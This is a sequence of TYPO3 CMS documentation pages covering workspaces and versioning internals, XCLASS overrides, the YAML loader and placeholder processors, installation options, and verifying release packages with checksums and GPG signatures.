PHP class \TYPO3\CMS\Core\Information\Typo3Version provides an API for accessing information about the currently used TYPO3 version.

  • getVersion() will return the full TYPO3 version (for example 10.4.3)
  • getBranch() will return the current branch (for example 10.4)
  • getMajorVersion() will return the major version number (for example 10)
  • __toString() will return the result of getVersion()

Webhooks and reactions

A webhook is an automated message sent from one application to another via HTTP. It is defined as an authorized POST or GET request to a defined URL. For example, a webhook can be used to send a notification to a Slack channel when a new page is created in TYPO3.

TYPO3 supports incoming and outgoing webhooks:

  • The system extension Reactions provides the functionality to receive webhooks in TYPO3 from third-party system.
  • The system extension Webhooks provides the possibility to send webhooks from TYPO3 to third-party systems.

Have a look at the linked documentation for more details.

Versioning and Workspaces

TYPO3 provides a feature called "workspaces", whereby changes can be made to the content of the web site without affecting the currently visible (live) version. Changes can be previewed and go through an approval process before publishing.

The technical background and a practical user guide to this feature are provided in the "workspaces" system extension manual.

All the information necessary for making any database table compatible with workspaces is described in the TCA reference (in the description of the "ctrl" section and in the description of the "versioningWS" property).

You might want to turn the workspace off for certain tables. The only way to do so is with a Configuration/TCA/Overrides/example_table.php:

EXT:some_extension/Configuration/TCA/Overrides/example_table.php
$GLOBALS['TCA']['example_table']['ctrl']['versioningWS'] = false;
Copied!

See TYPO3 site package tutorial and Storing in the Overrides/ folder .

The concept of workspaces needs attention from extension programmers. The implementation of workspaces is however made, so that no critical problems can appear with old extensions;

  • First of all the "Live workspace" is no different from how TYPO3 has been working for years so that will be supported out of the box (except placeholder records must be filtered out in the frontend with t3ver_state != , see below).
  • Secondly, all permission related issues are implemented in DataHandler so the worst your users can experience is an error message.

However, you probably want to update your extension so that in the backend the current workspace is reflected in the records shown and the preview of content in the frontend works as well. Therefore this chapter has been written with instructions and insight into the issues you are facing.

Frontend challenges in general

For the frontend the challenges are mostly related to creating correct previews of content in workspaces. For most extensions this will work transparently as long as they use the API functions in TYPO3 to request records from the system.

The most basic form of a preview is when a live record is selected and you lookup a future version of that record belonging to the current workspace of the logged in backend user. This is very easy as long as a record is selected based on its "uid" or "pid" fields which are not subject to versioning: call sys_page->versionOL() after record selection.

However, when other fields are involved in the where clause it gets dirty. This happens all the time! For instance, all records displayed in the frontend must be selected with respect to "enableFields" configuration! What if the future version is hidden and the live version is not? Since the live version is selected first (not hidden) and then overlaid with the content of the future version (hidden) the effect of the hidden field we wanted to preview is lost unless we also check the overlaid record for its hidden field (->versionOL() actually does this). But what about the opposite; if the live record was hidden and the future version not? Since the live version is never selected the future version will never have a chance to display itself! So we must first select the live records with no regard to the hidden state, then overlay the future version and eventually check if it is hidden and if so exclude it. The same problem applies to all other "enableFields", future versions with "delete" flags and current versions which are invisible placeholders for future records. Anyway, all that is handled by the \TYPO3\CMS\Core\Domain\Repository\PageRepository class which includes functions for "enableFields" and "deleted" so it will work out of the box for you. But as soon as you do selection based on other fields like email, username, alias etc. it will fail.

Summary

Challenge: How to preview elements which are disabled by "enableFields" in the live version but not necessarily in the offline version. Also, how to filter out new live records with t3ver_state set to 1 (placeholder for new elements) but only when not previewed.

Solution: Disable check for enableFields/where_del_hidden on live records and check for them in versionOL on input record.

Frontend implementation guidelines

Any place where enableFields() are not used for selecting in the frontend you must at least check that t3ver_state != 1 so placeholders for new records are not displayed.

If you need to detect preview mode for versioning and workspaces you can use the Context object. GeneralUtility::makeInstance(Context::class)->getPropertyFromAspect('workspace', 'id', 0); gives you the id of the workspace of the current backend user. Used for preview of workspaces.

Use the following API function for support of version previews in the frontend:

TYPO3\CMS\Core\Domain\Repository\PageRepository->versionOL($table, &$row, $unsetMovePointers=FALSE)

Versioning Preview Overlay.

Generally ALWAYS used when records are selected based on uid or pid. If records are selected on other fields than uid or pid (e.g. "email = ....") then usage might produce undesired results and that should be evaluated on individual basis.

Principle: Record online! => Find offline?

Example:

This is how simple it is to use this record in your frontend plugins when you do queries directly (not using API functions already using them):

EXT:some_extension/Classes/SomeClass.php
// use TYPO3\CMS\Core\Domain\Repository\PageRepository;
// use TYPO3\CMS\Core\Utility\GeneralUtility;

$pageRepository = GeneralUtility::makeInstance(PageRepository);
$result = $queryBuilder->executeQuery();
while ($row = $result->fetchAssociative()) {
    $pageRepository->versionOL($table, $row);
    if (is_array($row)) {
        // ...
    }
    // ...
}
Copied!

When the live record is selected, call ->versionOL() and make sure to check if the input row (passed by reference) is still an array.

The third argument, $unsetMovePointers = FALSE, can be set to TRUE when selecting records for display ordered by their position in the page tree. Difficult to explain easily, so only use this option if you don't get a correct preview of records that has been moved in a workspace (only for "element" type versioning)

Frontend scenarios impossible to preview

These issues are not planned to be supported for preview:

  • Lookups and searching for records based on other fields than uid, pid or "enableFields" will never reflect workspace content since overlays happen to online records after they are selected.

    • This problem can largely be avoided for versions of new records because versions of a "New"-placeholder can mirror certain fields down onto the placeholder record. For the tt_content table this is configured as:

      shadowColumnsForNewPlaceholders'=> 'sys_language_uid,l18n_parent,colPos,header'

      so that these fields used for column position, language and header title are also updated in the placeholder thus creating a correct preview in the frontend.

    • For versions of existing records the problem is in reality reduced a lot because normally you don't change the column or language fields after the record is first created anyway! But in theory the preview can fail.
    • When changing the type of a page (e.g. from "Standard" to "External URL") the preview might fail in cases where a look up is done on the doktype field of the live record.

      • Page shortcuts might not work properly in preview.
      • Mount Points might not work properly in preview.
  • It is impossible to preview the value of count(*) selections since we would have to traverse all records and pass them through ->versionOL() before we would have a reliable result!
  • In \TYPO3\CMS\Core\Domain\Repository\PageRepository::getPageShortcut(), PageRepository->getMenu() is called with an additional WHERE clause which will ignore changes made in workspaces. This could also be the case in other places where PageRepository->getMenu() is used (but a search shows it is not a big problem). In this case we will for now accept that a wrong shortcut destination can be experienced during previews.

Backend challenges

The main challenge in the backend is to reflect how the system will look when the workspace gets published. To create a transparent experience for backend users we have to overlay almost every selected record with any possible new version it might have. Also when we are tracking records back to the page tree root point we will have to correct pid-values. All issues related to selecting on fields other than pid and uid also relates to the backend as they did for the frontend.

Backend module access

You can restrict access to backend modules by setting the value of the workspaces key in the backend module configuration:

EXT:my_extension/Configuration/Backend/Modules.php
return [
    'web_examples' => [
        'parent' => 'web',
        // Only available in live workspace
        'workspaces' => 'live',
        // ... other configuration
    ],
];
Copied!

The value can be one of:

  • * (always)
  • live
  • offline

Detecting current workspace

You can always check what the current workspace of the backend user is by reading WorkspaceAspect->getWorkspaceId(). If the workspace is a custom workspace you will find its record loaded in $GLOBALS['BE_USER']->workspaceRec.

The values for workspaces is either 0 (online/live) or the uid of the corresponding entry in the sys_workspace table.

Using DataHandler with workspaces

Since admin users are also restricted by the workspace it is not possible to save any live records when in a workspace. However for very special occasions you might need to bypass this and to do so, you can set the instance variable \TYPO3\CMS\Core\DataHandling\DataHandler::bypassWorkspaceRestrictions to TRUE. An example of this is when users are updating their user profile using the "User Tool > User Settings" module; that actually allows them to save to a live record (their user record) while in a draft workspace.

Moving in workspaces

TYPO3 v4.2 and beyond supports moving for "Element" type versions in workspaces. A new version of the source record is made and has t3ver_state = 4 (move-to pointer). This version is necessary in order for the versioning system to have something to publish for the move operation.

When the version of the source is published a look up will be made to see if a placeholder exists for a move operation and if so the record will take over the pid / "sortby" value upon publishing.

Preview of move operations is almost fully functional through the \TYPO3\CMS\Core\Domain\Repository\PageRepository::versionOL() and \TYPO3\CMS\Backend\Utility\BackendUtility::workspaceOL() functions. When the online placeholder is selected it looks up the source record, overlays any version on top and displays it. When the source record is selected it should be discarded in case shown in context where ordering or position matters (like in menus or column based page content). This is done in the appropriate places.

Persistence in-depth scenarios

The following section represents how database records are actually persisted in a database table for different scenarios and previously performed actions.

Placeholders

Workspace placeholders are stored in field t3ver_state which can have the following values:

-1
  • new placeholder version
  • the workspace pendant for a new placeholder (see value 1)
0
  • default state
  • representing a workspace modification of an existing record (when t3ver_wsid > 0)
1
  • new placeholder
  • live pendant for a record that is new, used as insertion point concerning sorting
2
  • delete placeholder
  • representing a record that is deleted in workspace
4
  • move pointer
  • workspace pendant of a record that shall be moved

Overview

uid pid deleted sorting t3ver_wsid t3ver_oid t3ver_state l10n_parent sys_language_uid title
10 0 0 128 0 0 0 0 0 example.org website
20 10 0 128 0 0 0 0 0 Current issues
21 10 0 256 0 0 0 20 1 Actualité
22 10 0 384 0 0 0 20 2 Neuigkeiten
30 10 0 512 0 0 0 0 0 Other topics
... ... ... ... ... ... ... ... ... ...
41 30 0 128 1 0 1 0 0 Topic #1 new
42 -1 0 128 1 41 -1 0 0 Topic #2 new
uid pid deleted sorting t3ver_wsid t3ver_oid t3ver_state l10n_parent sys_language_uid title
11 20 0 128 0 0 0 0 0 Article #1
12 20 0 256 0 0 0 0 0 Article #2
13 20 0 384 0 0 0 0 0 Article #3
... ... ... ... ... ... ... ... ... ...
21 -1 0 128 1 11 0 0 0 Article #1 modified
22 -1 0 256 1 12 2 0 0 Article #2 deleted
23 -1 0 384 1 13 4 0 0 Article #3 moved
25 20 0 512 1 0 1 0 0 Article #4 new
26 -1 0 512 1 25 -1 0 0 Article #4 new
27 20 1 640 0 0 1 0 0 Article #5 discarded
28 -1 1 640 0 27 -1 0 0 Article #5 discarded
29 41 0 128 1 0 1 0 0 Topic #1 Article new
30 -1 0 128 1 29 -1 0 0 Topic #1 Article new
... ... ... ... ... ... ... ... ... ...
31 20 0 192 1 0 1 11 1 Entrefilet #1 (fr)
32 -1 0 192 1 31 -1 11 1 Entrefilet #1 (fr)
33 20 0 224 1 0 1 11 2 Beitrag #1 (de)
34 -1 0 224 1 33 -1 11 2 Beitrag #1 (de)

Scenario: Create new page

uid pid deleted sorting t3ver_wsid t3ver_oid t3ver_state l10n_parent sys_language_uid title
10 0 0 128 0 0 0 0 0 example.org website
... ... ... ... ... ... ... ... ... ...
30 10 0 512 0 0 0 0 0 Other topics
... ... ... ... ... ... ... ... ... ...
41 30 0 128 1 0 1 0 0 Topic #1 new
42 -1 0 128 1 41 -1 0 0 Topic #2 new
  • record uid = 41 defines sorting insertion point page pid = 30 in live workspace, t3ver_state = 1
  • record uid = 42 contains actual version information, pointing back to new placeholder, t3ver_oid = 41, indicating new version state t3ver_state = -1

Scenario: Modify record

uid pid deleted sorting t3ver_wsid t3ver_oid t3ver_state l10n_parent sys_language_uid title
11 20 0 128 0 0 0 0 0 Article #1
... ... ... ... ... ... ... ... ... ...
21 -1 0 128 1 11 0 0 0 Article #1 modified
  • record uid = 21 contains actual version information, pointing back to live pendant, t3ver_oid = 11, using default version state t3ver_state = 0

Scenario: Delete record

uid pid deleted sorting t3ver_wsid t3ver_oid t3ver_state l10n_parent sys_language_uid title
12 20 0 256 0 0 0 0 0 Article #2
... ... ... ... ... ... ... ... ... ...
22 -1 0 256 1 12 2 0 0 Article #2 deleted
  • record uid = 22 represents delete placeholder t3ver_state = 2, pointing back to live pendant, t3ver_oid = 12

Scenario: Create new record on existing page

uid pid deleted sorting t3ver_wsid t3ver_oid t3ver_state l10n_parent sys_language_uid title
... ... ... ... ... ... ... ... ... ...
25 20 0 512 1 0 1 0 0 Article #4 new
26 -1 0 512 1 25 -1 0 0 Article #4 new
  • record uid = 25 defines sorting insertion point on page pid = 20 in live workspace, t3ver_state = 1
  • record uid = 26 contains actual version information, pointing back to new placeholder, t3ver_oid = 25, indicating new version state t3ver_state = -1

Scenario: Create new record on page that is new in workspace

uid pid deleted sorting t3ver_wsid t3ver_oid t3ver_state l10n_parent sys_language_uid title
... ... ... ... ... ... ... ... ... ...
29 41 0 128 1 0 1 0 0 Topic #1 Article new
30 -1 0 128 1 29 -1 0 0 Topic #1 Article new
  • record uid = 29 defines sorting insertion point on page pid = 41 in live workspace, t3ver_state = 1
  • record uid = 30 contains actual version information, pointing back to new placeholder, t3ver_oid = 29, indicating new version state t3ver_state = -1
  • side-note: pid = 41 points to new placeholder of a page that has been created in workspace

Scenario: Discard record workspace modifications

uid pid deleted sorting t3ver_wsid t3ver_oid t3ver_state l10n_parent sys_language_uid title
... ... ... ... ... ... ... ... ... ...
27 20 1 640 0 0 1 0 0 Article #5 discarded
28 -1 1 640 0 27 -1 0 0 Article #5 discarded
  • previously records uid = 27 and uid = 28 have been created in workspace (similar to Scenario: Create new record on existing page)
  • both records represent the discarded state by having assigned deleted = 1 and t3ver_wsid = 0

Scenario: Create new record localization

uid pid deleted sorting t3ver_wsid t3ver_oid t3ver_state l10n_parent sys_language_uid title
11 20 0 128 0 0 0 0 0 Article #1
... ... ... ... ... ... ... ... ... ...
31 20 0 192 1 1 0 11 1 Entrefilet #1 (fr)
32 -1 0 192 1 31 -1 11 1 Entrefilet #1 (fr)
33 20 0 224 1 0 1 11 2 Beitrag #1 (de)
34 -1 0 224 1 33 -1 11 2 Beitrag #1 (de)
  • principles of creating new records with according placeholders applies in this scenario
  • records uid = 31 and uid = 32 represent localization to French sys_language_uid = 1, pointing back to their localization origin l10n_parent = 11
  • records uid = 33 and uid = 34 represent localization to German sys_language_uid = 2, pointing back to their localization origin l10n_parent = 11

Scenario: Create new record, then move to different page

uid pid deleted sorting t3ver_wsid t3ver_oid t3ver_state l10n_parent sys_language_uid title
... ... ... ... ... ... ... ... ... ...
25 30 0 512 1 0 1 0 0 Article #4 new & moved
26 -1 0 512 1 25 -1 0 0 Article #4 new & moved
  • previously records uid = 25 and uid = 26 have been created in workspace (exactly like in Scenario: Create new record on existing page), then record uid = 25 has been moved to target target page pid = 30
  • record uid = 25 directly uses target page pid = 30

Scenario: Create new record, then delete

uid pid deleted sorting t3ver_wsid t3ver_oid t3ver_state l10n_parent sys_language_uid title
... ... ... ... ... ... ... ... ... ...
25 20 1 512 0 0 1 0 0 Article #4 new & deleted
26 -1 1 512 0 25 -1 0 0 Article #4 new & deleted

XCLASSes (Extending Classes)

Introduction

XCLASSing is a mechanism in TYPO3 to extend classes or overwrite methods from the Core or extensions with one's own code. This enables a developer to easily change a given functionality, if other options like events or hooks, or the dependency injection mechanisms do not work or do not exist.

If you need a hook or event that does not exist, feel free to submit a feature request and - even better - a patch. Consult the TYPO3 Contribution Guide about how to do this.

How does it work?

In general every class instance in the Core and in extensions that sticks to the recommended coding guidelines is created with the API call \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance(). This method takes care of singletons and also searches for existing XCLASSes. If there is an XCLASS registered for the specific class that should be instantiated, an instance of that XCLASS is returned instead of an instance of the original class.

Limitations

  • Using XCLASSes is risky: neither the Core, nor extensions authors can guarantee that XCLASSes will not break if the underlying code changes (for example during upgrades). Be aware that your XCLASS can easily break and has to be maintained and fixed if the underlying code changes. If possible, you should use a hook instead of an XCLASS.
  • XCLASSes do not work for static classes, static methods, abstract classes or final classes.
  • There can be only one XCLASS per base class, but an XCLASS can be XCLASSed again. Be aware that such a construct is even more risky and definitely not advisable.
  • A small number of Core classes are required very early during bootstrap before configuration and other things are loaded. XCLASSing those classes will fail if they are singletons or might have unexpected side-effects.

Declaration

The $GLOBALS['TYPO3_CONF_VARS']['SYS']['Objects'] global array acts as a registry of overloaded (XCLASSed) classes.

The syntax is as follows and is commonly located in an extension's ext_localconf.php file:

EXT:my_extension/ext_localconf.php
<?php

declare(strict_types=1);

use MyVendor\MyExtension\Xclass\NewRecordController as NewRecordControllerXclass;
use TYPO3\CMS\Backend\Controller\NewRecordController;

defined('TYPO3') or die();

$GLOBALS['TYPO3_CONF_VARS']['SYS']['Objects'][NewRecordController::class] = [
    'className' => NewRecordControllerXclass::class,
];
Copied!

In this example, we declare that the \TYPO3\CMS\Backend\Controller\NewRecordController class will be overridden by the \T3docs\Examples\Xclass\NewRecordController class, the latter being part of the t3docs/examples extension.

When XCLASSing a class that does not use namespaces, use that class name in the declaration.

Coding practices

The recommended way of writing an XCLASS is to extend the original class and overwrite only the methods where a change is needed. This lowers the chances of the XCLASS breaking after a code update.

The example below extends the new record wizard screen. It first calls the original method and then adds its own content:

EXT:my_extension/Classes/Xclass/NewRecordController.php
class NewRecordController extends \TYPO3\CMS\Backend\Controller\NewRecordController
{
    protected function renderNewRecordControls(ServerRequestInterface $request): void
    {
        parent::renderNewRecordControls($request);
        $ll = 'LLL:EXT:examples/Resources/Private/Language/locallang.xlf'
        $label = $GLOBALS['LANG']->sL($ll . ':help');
        $text = $GLOBALS['LANG']->sL($ll . ':make_choice');
        $str = '<div><h2 class="uppercase" >' .  htmlspecialchars($label)
            . '</h2>' . $text . '</div>';
        $this->code .= $str;
    }
}
Copied!

The result can be seen here:

A help section is added at the bottom of the new record wizard

The object-oriented rules of PHP, such as rules about visibility, apply here. As you are extending the original class you can overload or call methods marked as public and protected but not private or static ones. Read more about visibility and inheritance at php.net

YAML API

YAML is used in TYPO3 for various configurations; most notable are

YamlFileLoader

TYPO3 is using a custom YAML loader for handling YAML in TYPO3 based on the symfony/yaml package. It is located at \TYPO3\CMS\Core\Configuration\Loader\YamlFileLoader and can be used when YAML parsing is required.

The TYPO3 Core YAML file loader resolves environment variables. Resolving of variables in the loader can be enabled or disabled via flags. For example, when editing the site configuration through the backend interface the resolving of environment variables needs to be disabled to be able to add environment configuration through the interface.

The format for environment variables is %env(ENV_NAME)%. Environment variables may be used to replace complete values or parts of a value.

The YAML loader class has two flags: PROCESS_PLACEHOLDERS and PROCESS_IMPORTS.

  • PROCESS_PLACEHOLDERS decides whether or not placeholders (%abc%) will be resolved.
  • PROCESS_IMPORTS decides whether or not imports (imports key) will be resolved.

Use the method YamlFileLoader::load() to make use of the loader in your extensions:

EXT:some_extension/Classes/SomeClass.php
use TYPO3\CMS\Core\Configuration\Loader\YamlFileLoader;

// ...

(new YamlFileLoader())
    ->load(string $fileName, int $flags = self::PROCESS_PLACEHOLDERS | self::PROCESS_IMPORTS)
Copied!

Configuration files can make use of import functionality to reference to the contents of different files.

Example:

imports:
    - { resource: "EXT:rte_ckeditor/Configuration/RTE/Processing.yaml" }
    - { resource: "misc/my_options.yaml" }
    - { resource: "../path/to/something/within/the/project-folder/generic.yaml" }
    - { resource: "./**/*.yaml", glob: true }
    - { resource: "EXT:core/Tests/**/Configuration/**/SiteConfigs/*.yaml", glob: true }
Copied!

The YAML file loader supports importing of files with glob patterns. To enable globbing, set the option glob: true on the import level.

The files are imported in the order they appear in the importing file. It used to be the reverse order, take care when updating projects from before v12!

Custom placeholder processing

It is possible to register custom placeholder processors to allow fetching data from different sources. To do so, register a custom processor via config/system/settings.php:

config/system/settings.php | typo3conf/system/settings.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['yamlLoader']['placeholderProcessors']
    [\Vendor\MyExtension\PlaceholderProcessor\CustomPlaceholderProcessor::class] = [];
Copied!

There are some options available to sort or disable placeholder processors, if necessary:

config/system/settings.php | typo3conf/system/settings.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['yamlLoader']['placeholderProcessors']
    [\Vendor\MyExtension\PlaceholderProcessor\CustomPlaceholderProcessor::class] = [
        'before' => [
            \TYPO3\CMS\Core\Configuration\Processor\Placeholder\ValueFromReferenceArrayProcessor::class
        ],
        'after' => [
            \TYPO3\CMS\Core\Configuration\Processor\Placeholder\EnvVariableProcessor::class
        ],
        'disabled' => false,
    ];
Copied!

New placeholder processors must implement the \TYPO3\CMS\Core\Configuration\Processor\Placeholder\PlaceholderProcessorInterface . An implementation may look like the following:

EXT:my_extension/Classes/Configuration/Processor/Placeholder/ExamplePlaceholderProcessor.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Configuration\Processor\Placeholder;

use TYPO3\CMS\Core\Configuration\Processor\Placeholder\PlaceholderProcessorInterface;

final class ExamplePlaceholderProcessor implements PlaceholderProcessorInterface
{
    public function canProcess(string $placeholder, array $referenceArray): bool
    {
        return str_contains($placeholder, '%example(');
    }

    public function process(string $value, array $referenceArray)
    {
        // do some processing
        $result = $this->getValue($value);

        // Throw this exception if the placeholder can't be substituted
        if ($result === null) {
            throw new \UnexpectedValueException('Value not found', 1581596096);
        }
        return $result;
    }

    private function getValue(string $value): ?string
    {
        // implement logic to fetch specific values from an external service
        // or just add simple mapping logic - whatever is appropriate
        $aliases = [
            'foo' => 'F-O-O',
            'bar' => 'ARRRRR',
        ];
        return $aliases[$value] ?? null;
    }
}
Copied!

This may be used, for example, in the site configuration:

config/sites/<some_site>/config.yaml
someVariable: '%example(somevalue)%'
anotherVariable: 'inline::%example(anotherValue)%::placeholder'
Copied!

If a new processor returns a string or number, it may also be used inline as above. If it returns an array, it cannot be used inline since the whole content will be replaced with the new value.

YAML syntax in TYPO3

Following is an introduction to the YAML syntax. If you are familiar with YAML, skip to the TYPO3 specific information:

The TYPO3 coding guidelines for YAML define some basic rules to be used in the TYPO3 Core and extensions. Additionally, YAML has general syntax rules.

These are recommendations that should be followed for TYPO3. We pointed out where things might break badly if not followed, by using MUST.

  • File ending .yaml
  • Indenting with 2 spaces (not tabs). Spaces MUST be used. You MUST use the correct indenting level.
  • Use UTF-8
  • Enclose strings with single quotes (''). You MUST properly quote strings containing special characters (such as @) in YAML. In fact, generally using quotes for strings is encouraged. See Symfony > The YAML Format > Strings

To get a better understanding of YAML, you might want to compare YAML with PHP arrays:

An array in PHP
$a = [
    'key1' => 'value',
    'key2' => [
        'key2_1' => 'value',
    ],
];

$b = [
    'apples',
    'oranges',
    'bananas'
];
Copied!

YAML:

The same array in YAML
# mapping (key / value pairs)
a:
  key1: 'value'
  key2:
    key2_1: 'value'

# sequence (list)
b:
  - 'apples'
  - 'oranges'
  - 'bananas'
Copied!

TYPO3 administration

Installation

Learn about the different ways to install TYPO3 and choose the method that best matches your technical requirements and experience level.

Deployment

The deployment guide highlights some of solutions available that can help automate the process of deploying TYPO3 to a remote server.

Production environment

This chapter contains information on how to configure and optimize the infrastructure running TYPO3 for production.

Running TYPO3 in Docker

Learn how to run TYPO3 using Docker containers for local development and testing, including step-by-step guides for plain Docker, Docker Compose, and DDEV.

Docker-based TYPO3 setups

Directory structure

The folder layout of your TYPO3 project depends on how TYPO3 was installed. Composer-based installations use a modern structure that separates code from public files—ideal for deployment workflows and version control. Classic mode keeps everything in a single folder and is easier to set up for beginners.

Both methods are fully supported for production use, however there are security consideration regarding file access when using the classic structure.

Updates

Learn how to apply patch-level updates, perform major version upgrades, and update extensions safely.

TYPO3 installation overview

TYPO3 can be installed in two ways:

Composer-based installation

Composer-based setups are common in professional environments with development teams. Extensions are installed via Packagist (not from the TYPO3 Extension Repository (TER)), providing more flexibility in dependency management, better integration with version control, and easier environment automation. It is ideal for advanced projects or team-based workflows.

Classic installation

This method includes access to the TYPO3 Extension Repository (TER) via a regular backend module. It is ideal for managed hosting, automated updates by the hosting provider, and simpler setups. Also well-suited for beginners due to GUI-based extension handling.

Switching to Composer later is possible, but takes effort and means restructuring the project.

Both methods are fully supported and recommended depending on your project needs and environment.

As of now, there is no official plan to deprecate the classic installation method.

System requirements

System requirements for the host operating system, including its web server and database and how they should be configured prior to installation.

Tuning TYPO3

This chapter contains information on how to configure and optimize the infrastructure running TYPO3.

TYPO3 Release Integrity

Every release of TYPO3 is electronically signed by the TYPO3 release team. In addition, every TYPO3 package also contains a unique file hash that can be used to ensure file integrity when downloading the release. This guide details how these signatures can be checked and how file hashes can be compared.

Classic mode TYPO3 installation (No Composer required)

There are two installation methods for a Classic mode TYPO3 installation. If you have shell (SSH) access we recommend using wget and symlinks.

If you only have access via FTP or the file manager of your hosting provider, use a .zip or .tar.gz archive.

Choose one of the two methods:

.zip or .tar.gz archive

Prerequisites:

  • A web server with PHP and database support
  • FTP access or web-based file manager (such as cPanel)
  • A web browser to run the installation wizard

wget and symlinks

Prerequisites:

  • Shell (SSH) access to the server
  • Basic server tools such as wget or curl, tar, and ln or mklink
  • A web server with PHP and database support
  • A web browser to run the installation wizard

Docker demo

Prerequisites:

  • Docker installed.
  • Basic knowledge of Docker.
  • A web browser to run the installation wizard

The next steps are needed no matter what installation method you chose in the step before:

Run the installation wizard

A web-based wizard guides you through the next steps, such as connecting your installation to the database, creating an administrator user, and setting up the file system.

Choose or create a site package (theme)

TYPO3 does not come with a default theme. In order to display any content on your website, you need to install or create a site package.

You can use the Release integrity to test if the package you just downloaded is signed correctly.

Classic TYPO3 installation using .zip or .tar.gz archive

This guide explains how to install TYPO3 manually using FTP or a web hosting control panel such as cPanel, without requiring command-line access.

Prerequisites:

  • A web server such as Apache or nginx
  • A PHP version and required extensions supported by the TYPO3 version you plan to install. See System requirements.
  • A database such as MySQL or MariaDB
  • FTP access or web-based file manager (such as cPanel)
  • A web browser to run the installation wizard

Download the TYPO3 package

  • Go to https://get.typo3.org
  • Select the TYPO3 version you want to install
  • Download the .zip package to your computer (this is recommended for most users)
  • Alternatively, download the .tar.gz package if your hosting environment supports extracting .tar.gz archives

Upload and extract the package

  • Open your FTP program or web-based file manager
  • Create a folder on your webspace where you want to install TYPO3, for example /public_html/typo3site
  • Upload the TYPO3 .zip file (for example typo3_src-13.4.y.zip) directly to this folder and extract it using the tools provided by your servers file manager.

    If your server does not offer an option to extract files, see Alternative: upload extracted files

  • After extraction, you have a folder named something like typo3_src-13.4.11. Move all files and folder contained from this folder into the folder where your domain or subdomain’s document root points to.

    This may be the root of your webspace (for example /public_html/) or a subfolder (for example /public_html/typo3site/), depending on how your domain or subdomain is configured.

Alternative: upload extracted files

If your control panel does not provide an option to extract .zip or .tar files:

  • Extract the archive on your local computer
  • Upload all extracted files and folders to your installation folder using your FTP program
  • Ensure you upload the contents only, not the containing folder itself

Create a database

  • Log in to your hosting control panel (such as cPanel)
  • Create a new database (MySQL or MariaDB) and a user, and assign the user to the database with full privileges
  • Make a note of the database name, username, and password for later use

Run the installation wizard and complete the installation

In the next steps you will use the installation wizard to connect the database, create additional required folders, create an administrator and chose or create a site package / theme:

Run the installation wizard and complete the installation

Run the installation wizard

  • Open your web browser and navigate to your TYPO3 site (for example https://example.org/)
  • The installation wizard will appear
  • Follow the steps:

    • Enter the database details you created
    • Create an administrator account
    • Set the site name

See also the web-based installation instructions.

Complete the setup

  • After completing the installation wizard, log in to the TYPO3 backend at /typo3 (for example https://example.org/typo3)
  • Use the administrator credentials you just created

Next steps

TYPO3 release integrity

TYPO3 release packages (the downloadable tarballs and zip files) as well as Git tags are signed using PGP signatures during the automated release process. SHA2-256, SHA1 and MD5 hashes are also generated for these files.

Release contents

Every release of TYPO3 is made available with the following files:

TYPO3 CMS 12.4.11 release as an example
typo3_src-12.4.11.tar.gz
typo3_src-12.4.11.tar.gz.sig
typo3_src-12.4.11.zip
typo3_src-12.4.11.zip.sig
Copied!
  • *.tar.gz and *.zip files are the actual release packages, containing the source code of TYPO3
  • *.sig files contain the corresponding signatures for each release package file

Checking file hashes

File hashes are used to check that a downloaded file was transferred and stored correctly on the local system. TYPO3 uses cryptographic hash methods including MD5 and SHA2-256.

The file hashes for each version are published on get.typo3.org and can be found on the corresponding release page, for example https://get.typo3.org/version/12#package-checksums contains:

TYPO3 v12.4.11 checksums
SHA256:
a93bb3e8ceae5f00c77f985438dd948d2a33426ccfd7c2e0e5706325c43533a3  typo3_src-12.4.11.tar.gz
8e0a8eaeed082e273289f3e17318817418c38c295833a12e7f94abb2845830ee  typo3_src-12.4.11.zip

SHA1:
9fcecf7b0e72074b060516c22115d57dd29fd5b0  typo3_src-12.4.11.tar.gz
3606bcc9331f2875812ddafd89ccc2ddf8922b63  typo3_src-12.4.11.zip

MD5:
a4fbb1da81411f350081872fe2ff2dac  typo3_src-12.4.11.tar.gz
c514ef9b7aad7c476fa4f36703e686fb  typo3_src-12.4.11.zip
Copied!

To verify file hashes, the hashes need to be generated locally for the packages downloaded and then compared to the published hashes on get.typo3.org. To generate the hashes locally, one of the following command line tools md5sum, sha1sum or shasum needs to be used.

The following commands generate hashes for the .tar.gz and .zip packages:

 $
shasum -a 256 typo3_src-*.tar.gz typo3_src-*.zip
a93bb3e8ceae5f00c77f985438dd948d2a33426ccfd7c2e0e5706325c43533a3  typo3_src-12.4.11.tar.gz
8e0a8eaeed082e273289f3e17318817418c38c295833a12e7f94abb2845830ee  typo3_src-12.4.11.zip
Copied!
 $
sha1sum -c typo3_src-*.tar.gz typo3_src-*.zip
9fcecf7b0e72074b060516c22115d57dd29fd5b0  typo3_src-12.4.11.tar.gz
3606bcc9331f2875812ddafd89ccc2ddf8922b63  typo3_src-12.4.11.zip
Copied!
 $
md5sum typo3_src-*.tar.gz typo3_src-*.zip
a4fbb1da81411f350081872fe2ff2dac  typo3_src-12.4.11.tar.gz
c514ef9b7aad7c476fa4f36703e686fb  typo3_src-12.4.11.zip
Copied!

These hashes must match the hashes published on get.typo3.org to ensure package integrity.

Checking file signatures

TYPO3 uses Pretty Good Privacy to sign release packages and Git release tags. To validate these signatures The GNU Privacy Guard is recommend, however any OpenPGP compliant tool can also be used.

The release packages are using a detached binary signature. This means that the file typo3_src-12.4.11.tar.gz has an additional signature file typo3_src-12.4.11.tar.gz.sig which is the detached signature.

 $
gpg --verify typo3_src-12.4.11.tar.gz.sig typo3_src-12.4.11.tar.gz
Copied!
gpg: Signature made 13 Feb 2024 10:56:11 CET
gpg:                using RSA key 2B1F3D58AEEFB6A7EE3241A0C19FAFD699012A5A
gpg: Can't check signature: No public key
Copied!

The warning means that the public key 2B1F3D58AEEFB6A7EE3241A0C19FAFD699012A5A is not yet available on the local system and cannot be used to validate the signature. The public key can be obtained by any key server - a popular one is pgpkeys.mit.edu.

 $
wget -qO- https://get.typo3.org/KEYS | gpg --import
Copied!
gpg: requesting key 59BC94C4 from hkp server pgpkeys.mit.edu
gpg: key 59BC94C4: public key "TYPO3 Release Team (RELEASE) <typo3cms@typo3.org>" imported
gpg: key FA9613D1: public key "Benjamin Mack <benni@typo3.org>" imported
gpg: key 16490937: public key "Oliver Hader <oliver@typo3.org>" imported
gpg: no ultimately trusted keys found
gpg: Total number processed: 3
gpg:               imported: 3  (RSA: 3)
Copied!

